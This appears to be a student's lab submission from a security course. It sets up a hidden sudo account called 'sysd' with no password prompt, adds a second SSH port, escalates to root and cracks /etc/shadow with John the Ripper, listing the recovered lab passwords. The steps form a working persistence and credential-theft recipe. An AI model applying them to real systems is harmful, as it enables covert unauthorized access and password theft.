Todd Peralta

Submission File

**Step 1: Shadow People**

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created:

$adduser --no-create-home sysd

1. Give your secret user a password:

$ Password : bunny

1. Give your secret user a system UID < 1000:

$sudo usermod -u 665 sysd

1. Give your secret user the same GID:

$sudo usermod -g 665 sysd

1. Give your secret user full sudo access without the need for a password:  
   Switch to root:

$ sudo visudo

# User privilege specification

root ALL=(ALL:ALL) ALL

vagrant ALL=(ALL:ALL) NOPASSWD:ALL

sysd ALL=(ALL:ALL) NOPASSWD:ALL

1. Test that sudo access works without your password:

$ sudo -l

User sysd may run the following commands on UbuntuDesktop:

(ALL : ALL) NOPASSWD: ALL

**Step 2: Smooth Sailing**

1. Edit the sshd\_config file:

Port 22

ADD: Port 2222

#AddressFamily any

#ListenAddress 0.0.0.0

#ListenAddress ::

#HostKey /etc/ssh/ssh\_host\_rsa\_key

#HostKey /etc/ssh/ssh\_host\_ecdsa\_key

#HostKey /etc/ssh/ssh\_host\_ed25519\_key

**Step 3: Testing Your Configuration Update**

1. Restart the SSH service:

$sudo systemctl restart ssh

1. Exit the root account:

$exit

1. SSH to the target machine using your sysd account and port 2222:

$ ssh sysd@192.168.6.105 -p 2222

1. Use sudo to switch to the root user:  
    $ sudo su

**Step 4: Crack All the Passwords**

SSH back to the system using your sysd account and port 2222:

$ ssh sysd@192.168.6.105 -p 2222

Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:

$sudo su

$ john /etc/shadow

computer (stallman)

freedom (babbage)

trustno1 (mitnik)

dragon (lovelace)

lakers (turing)

passw0rd (sysadmin)

Goodluck! (student)

7g 0:00:06:02 100% 2/3 0.01933g/s 303.5p/s 311.2c/s 311.2C/s Missy!..Jupiter!

Use the "--show" option to display all of the cracked passwords reliably

Session completed